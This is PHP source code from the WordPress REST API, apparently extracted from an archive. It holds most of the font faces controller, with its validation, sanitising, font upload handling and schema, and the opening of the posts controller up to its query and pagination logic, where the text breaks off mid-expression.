'rest_cannot_read', __( 'Sorry, you are not allowed to access this font face.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_create_font_face_settings( $value, $request ) { // Enforce JSON Schema validity for field before applying custom validation logic. $args = $this->get_create_params(); $validity = rest_validate_value_from_schema( $value, $args['font_face_settings'], 'font_face_settings' ); if ( is_wp_error( $validity ) ) { return $validity; } $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', __( 'font_face_settings parameter must be a valid JSON string.' ), array( 'status' => 400 ) ); } // Check that the font face settings match the theme.json schema. $schema = $this->get_item_schema()['properties']['font_face_settings']; $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. $required = $schema['required']; foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */ sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ), array( 'status' => 400 ) ); } } $srcs = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] ); $files = $request->get_file_params(); foreach ( $srcs as $src ) { // Check that each src is a non-empty string. $src = ltrim( $src ); if ( empty( $src ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ), array( 'status' => 400 ) ); } // Check that srcs are valid URLs or file references. if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */ sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ), array( 'status' => 400 ) ); } } // Check that each file in the request references a src in the settings. foreach ( array_keys( $files ) as $file ) { if ( ! in_array( $file, $srcs, true ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font face settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @return array Decoded and sanitized array of font face settings. */ public function sanitize_font_face_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Retrieves a collection of font faces within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } return parent::get_items( $request ); } /** * Retrieves a single font face within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } // Check that the font face has a valid parent font family. $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } return parent::get_item( $request ); } /** * Creates a font face for the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); $file_params = $request->get_file_params(); // Check that the necessary font face properties are unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'title' => WP_Font_Utils::get_font_face_slug( $settings ), 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_face', __( 'A font face matching those settings already exists.' ), array( 'status' => 400 ) ); } // Move the uploaded font asset from the temp folder to the fonts directory. if ( ! function_exists( 'wp_handle_upload' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $srcs = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src']; $processed_srcs = array(); $font_file_meta = array(); foreach ( $srcs as $src ) { // If src not a file reference, use it as is. if ( ! isset( $file_params[ $src ] ) ) { $processed_srcs[] = $src; continue; } $file = $file_params[ $src ]; $font_file = $this->handle_font_file_upload( $file ); if ( is_wp_error( $font_file ) ) { return $font_file; } $processed_srcs[] = $font_file['url']; $font_file_meta[] = $this->relative_fonts_path( $font_file['file'] ); } // Store the updated settings for prepare_item_for_database to use. $settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs; $request->set_param( 'font_face_settings', $settings ); // Ensure that $settings data is slashed, so values with quotes are escaped. // WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content. $font_face_post = parent::create_item( $request ); if ( is_wp_error( $font_face_post ) ) { return $font_face_post; } $font_face_id = $font_face_post->data['id']; foreach ( $font_file_meta as $font_file_path ) { add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path ); } return $font_face_post; } /** * Deletes a single font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font faces. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font face output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = $item->post_parent; } if ( rest_is_field_included( 'font_face_settings', $fields ) ) { $data['font_face_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font face data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font face post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'parent' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), // Font face settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'default' => '', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'fontStyle' => array( 'description' => __( 'CSS font-style value.' ), 'type' => 'string', 'default' => 'normal', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontWeight' => array( 'description' => __( 'List of available font weights, separated by a space.' ), 'default' => '400', // Changed from `oneOf` to avoid errors from loose type checking. // e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check. 'type' => array( 'string', 'integer' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontDisplay' => array( 'description' => __( 'CSS font-display value.' ), 'type' => 'string', 'default' => 'fallback', 'enum' => array( 'auto', 'block', 'fallback', 'swap', 'optional', ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'src' => array( 'description' => __( 'Paths or URLs to the font files.' ), // Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array, // and causing a "matches more than one of the expected formats" error. 'anyOf' => array( array( 'type' => 'string', ), array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), 'default' => array(), 'arg_options' => array( 'sanitize_callback' => function ( $value ) { return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value ); }, ), ), 'fontStretch' => array( 'description' => __( 'CSS font-stretch value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'ascentOverride' => array( 'description' => __( 'CSS ascent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'descentOverride' => array( 'description' => __( 'CSS descent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariant' => array( 'description' => __( 'CSS font-variant value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontFeatureSettings' => array( 'description' => __( 'CSS font-feature-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariationSettings' => array( 'description' => __( 'CSS font-variation-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'lineGapOverride' => array( 'description' => __( 'CSS line-gap-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'sizeAdjust' => array( 'description' => __( 'CSS size-adjust value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'unicodeRange' => array( 'description' => __( 'CSS unicode-range value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font face.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'fontFamily', 'src' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font face collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['slug'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font face controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_face_collection_params', $query_params ); } /** * Get the params used when creating a new font face. * * @since 6.5.0 * * @return array Font face create arguments. */ public function get_create_params() { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating, font_face_settings is stringified JSON, to work with multipart/form-data used // when uploading font files. 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_create_font_face_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ), ), ); } /** * Get the parent font family, if the ID is valid. * * @since 6.5.0 * * @param int $font_family_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent_font_family_post( $font_family_id ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.', 'default' ), array( 'status' => 404 ) ); if ( (int) $font_family_id <= 0 ) { return $error; } $font_family_post = get_post( (int) $font_family_id ); if ( empty( $font_family_post ) || empty( $font_family_post->ID ) || 'wp_font_family' !== $font_family_post->post_type ) { return $error; } return $font_family_post; } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. return array( 'self' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ), ), 'collection' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ), ), 'parent' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ), ), ); } /** * Prepares a single font face post for creation. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass Post object. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); // Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting, // which may contain multibyte characters. $title = WP_Font_Utils::get_font_face_slug( $settings ); $prepared_post->post_type = $this->post_type; $prepared_post->post_parent = $request['font_family_id']; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $title; $prepared_post->post_name = sanitize_title( $title ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Sanitizes a single src value for a font face. * * @since 6.5.0 * * @param string $value Font face src that is a URL or the key for a $_FILES array item. * @return string Sanitized value. */ protected function sanitize_src( $value ) { $value = ltrim( $value ); return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value ); } /** * Handles the upload of a font file using wp_handle_upload(). * * @since 6.5.0 * * @param array $file Single file item from $_FILES. * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure. */ protected function handle_font_file_upload( $file ) { add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); // Filter the upload directory to return the fonts directory. add_filter( 'upload_dir', '_wp_filter_font_directory' ); $overrides = array( 'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ), // Not testing a form submission. 'test_form' => false, // Only allow uploading font files for this request. 'mimes' => WP_Font_Utils::get_allowed_font_mime_types(), ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $uploaded_file = wp_handle_upload( $file, $overrides ); remove_filter( 'upload_dir', '_wp_filter_font_directory' ); remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); return $uploaded_file; } /** * Handles file upload error. * * @since 6.5.0 * * @param array $file File upload data. * @param string $message Error message from wp_handle_upload(). * @return WP_Error WP_Error object. */ public function handle_font_file_upload_error( $file, $message ) { $status = 500; $code = 'rest_font_upload_unknown_error'; if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) { $status = 400; $code = 'rest_font_upload_invalid_file_type'; } return new WP_Error( $code, $message, array( 'status' => $status ) ); } /** * Returns relative path to an uploaded font file. * * The path is relative to the current fonts directory. * * @since 6.5.0 * @access private * * @param string $path Full path to the file. * @return string Relative path on success, unchanged path on failure. */ protected function relative_fonts_path( $path ) { $new_path = $path; $fonts_dir = wp_get_font_dir(); if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) { $new_path = str_replace( $fonts_dir['basedir'], '', $new_path ); $new_path = ltrim( $new_path, '/' ); } return $new_path; } /** * Gets the font face's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font face post object. * @return array Font face settings array. */ protected function get_settings_from_post( $post ) { $settings = json_decode( $post->post_content, true ); $properties = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Provide required, empty settings if needed. if ( null === $settings ) { $settings = array( 'fontFamily' => '', 'src' => array(), ); } // Only return the properties defined in the schema. return array_intersect_key( $settings, $properties ); } } PK�������!�~,�,�"��class-wp-rest-posts-controller.phpnu�[��������<?php /** * REST API: WP_REST_Posts_Controller class * * @package WordPress * @subpackage REST_API * @since 4.7.0 */ /** * Core class to access posts via the REST API. * * @since 4.7.0 * * @see WP_REST_Controller */ class WP_REST_Posts_Controller extends WP_REST_Controller { /** * Post type. * * @since 4.7.0 * @var string */ protected $post_type; /** * Instance of a post meta fields object. * * @since 4.7.0 * @var WP_REST_Post_Meta_Fields */ protected $meta; /** * Passwordless post access permitted. * * @since 5.7.1 * @var int[] */ protected $password_check_passed = array(); /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ protected $allow_batch = array( 'v1' => true ); /** * Constructor. * * @since 4.7.0 * * @param string $post_type Post type. */ public function __construct( $post_type ) { $this->post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Post_Meta_Fields( $this->post_type ); } /** * Registers the routes for posts. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); $schema = $this->get_item_schema(); $get_item_args = array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); if ( isset( $schema['properties']['excerpt'] ) ) { $get_item_args['excerpt_length'] = array( 'description' => __( 'Override the default excerpt length.' ), 'type' => 'integer', ); } if ( isset( $schema['properties']['password'] ) ) { $get_item_args['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); } register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $get_item_args, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Overrides the result of the post password check for REST requested posts. * * Allow users to read the content of password protected posts if they have * previously passed a permission check or if they have the `edit_post` capability * for the post being checked. * * @since 5.7.1 * * @param bool $required Whether the post requires a password check. * @param WP_Post $post The post been password checked. * @return bool Result of password check taking into account REST API considerations. */ public function check_password_required( $required, $post ) { if ( ! $required ) { return $required; } $post = get_post( $post ); if ( ! $post ) { return $required; } if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) { // Password previously checked and approved. return false; } return ! current_user_can( 'edit_post', $post->ID ); } /** * Retrieves a collection of posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $args = array(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_exclude' => 'author__not_in', 'exclude' => 'post__not_in', 'include' => 'post__in', 'ignore_sticky' => 'ignore_sticky_posts', 'menu_order' => 'menu_order', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'parent' => 'post_parent__in', 'parent_exclude' => 'post_parent__not_in', 'search' => 's', 'search_columns' => 'search_columns', 'slug' => 'post_name__in', 'status' => 'post_status', ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // Check for & assign any parameters which require special handling or setting. $args['date_query'] = array(); if ( isset( $registered['before'], $request['before'] ) ) { $args['date_query'][] = array( 'before' => $request['before'], 'column' => 'post_date', ); } if ( isset( $registered['modified_before'], $request['modified_before'] ) ) { $args['date_query'][] = array( 'before' => $request['modified_before'], 'column' => 'post_modified', ); } if ( isset( $registered['after'], $request['after'] ) ) { $args['date_query'][] = array( 'after' => $request['after'], 'column' => 'post_date', ); } if ( isset( $registered['modified_after'], $request['modified_after'] ) ) { $args['date_query'][] = array( 'after' => $request['modified_after'], 'column' => 'post_modified', ); } // Ensure our per_page parameter overrides any provided posts_per_page filter. if ( isset( $registered['per_page'] ) ) { $args['posts_per_page'] = $request['per_page']; } if ( isset( $registered['sticky'], $request['sticky'] ) ) { $sticky_posts = get_option( 'sticky_posts', array() ); if ( ! is_array( $sticky_posts ) ) { $sticky_posts = array(); } if ( $request['sticky'] ) { /* * As post__in will be used to only get sticky posts, * we have to support the case where post__in was already * specified. */ $args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts; /* * If we intersected, but there are no post IDs in common, * WP_Query won't return "no posts" for post__in = array() * so we have to fake it a bit. */ if ( ! $args['post__in'] ) { $args['post__in'] = array( 0 ); } } elseif ( $sticky_posts ) { /* * As post___not_in will be used to only get posts that * are not sticky, we have to support the case where post__not_in * was already specified. */ $args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts ); } } /* * Honor the original REST API `post__in` behavior. Don't prepend sticky posts * when `post__in` has been specified. */ if ( ! empty( $args['post__in'] ) ) { unset( $args['ignore_sticky_posts'] ); } if ( isset( $registered['search_semantics'], $request['search_semantics'] ) && 'exact' === $request['search_semantics'] ) { $args['exact'] = true; } $args = $this->prepare_tax_query( $args, $request ); if ( isset( $registered['format'], $request['format'] ) ) { $formats = $request['format']; /* * The relation needs to be set to `OR` since the request can contain * two separate conditions. The user may be querying for items that have * either the `standard` format or a specific format. */ $formats_query = array( 'relation' => 'OR' ); /* * The default post format, `standard`, is not stored in the database. * If `standard` is part of the request, the query needs to exclude all post items that * have a format assigned. */ if ( in_array( 'standard', $formats, true ) ) { $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'operator' => 'NOT EXISTS', ); // Remove the `standard` format, since it cannot be queried. unset( $formats[ array_search( 'standard', $formats, true ) ] ); } // Add any remaining formats to the formats query. if ( ! empty( $formats ) ) { // Add the `post-format-` prefix. $terms = array_map( static function ( $format ) { return "post-format-$format"; }, $formats ); $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => $terms, 'operator' => 'IN', ); } // Enable filtering by both post formats and other taxonomies by combining them with `AND`. if ( isset( $args['tax_query'] ) ) { $args['tax_query'][] = array( 'relation' => 'AND', $formats_query, ); } else { $args['tax_query'] = $formats_query; } } // Force the post_type argument, since it's not a user input variable. $args['post_type'] = $this->post_type; $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $args['update_post_term_cache'] = false; $args['update_post_meta_cache'] = false; } /** * Filters WP_Query arguments when querying posts via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_query` * - `rest_page_query` * - `rest_attachment_query` * * Enables adding extra arguments or setting defaults for a post collection request. * * @since 4.7.0 * @since 5.7.0 Moved after the `tax_query` query arg is generated. * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @param array $args Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ $args = apply_filters( "rest_{$this->post_type}_query", $args, $request ); if ( ! is_array( $args ) ) { $args = array(); } $query_args = $this->prepare_items_query( $args, $request ); $posts_query = new WP_Query(); $query_result = $posts_query->query( $query_args ); // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } if ( ! $is_head_request ) { $posts = array(); update_post_author_caches( $query_result ); update_post_parent_caches( $query_result ); if ( post_type_supports( $this->post_type, 'thumbnail' ) ) { update_post_thumbnail_cache( $posts_query ); } foreach ( $query_result as $post ) { if ( 'edit' === $request['context'] ) { $permission = $this->check_update_permission( $post ); } else { $permission = $this->check_read_permission( $post ); } if ( ! $permission ) { continue; } $data = $this->prepare_item_for_response( $post, $request ); $posts[] = $this->prepare_response_for_collection( $data ); } } // Reset filter. if ( 'edit' === $request['context'] ) { remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } $page = (int) ( $query_args['paged'] ?? 0 ); $total_posts = $posts_query->found_posts; if ( $total_posts < 1 && $page > 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_posts = $count_query->found_posts; } $max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] ); if ( $page > $max_pages && $total_posts > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts ); $response->header( 'X-WP-Total', (int) $total_posts ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages 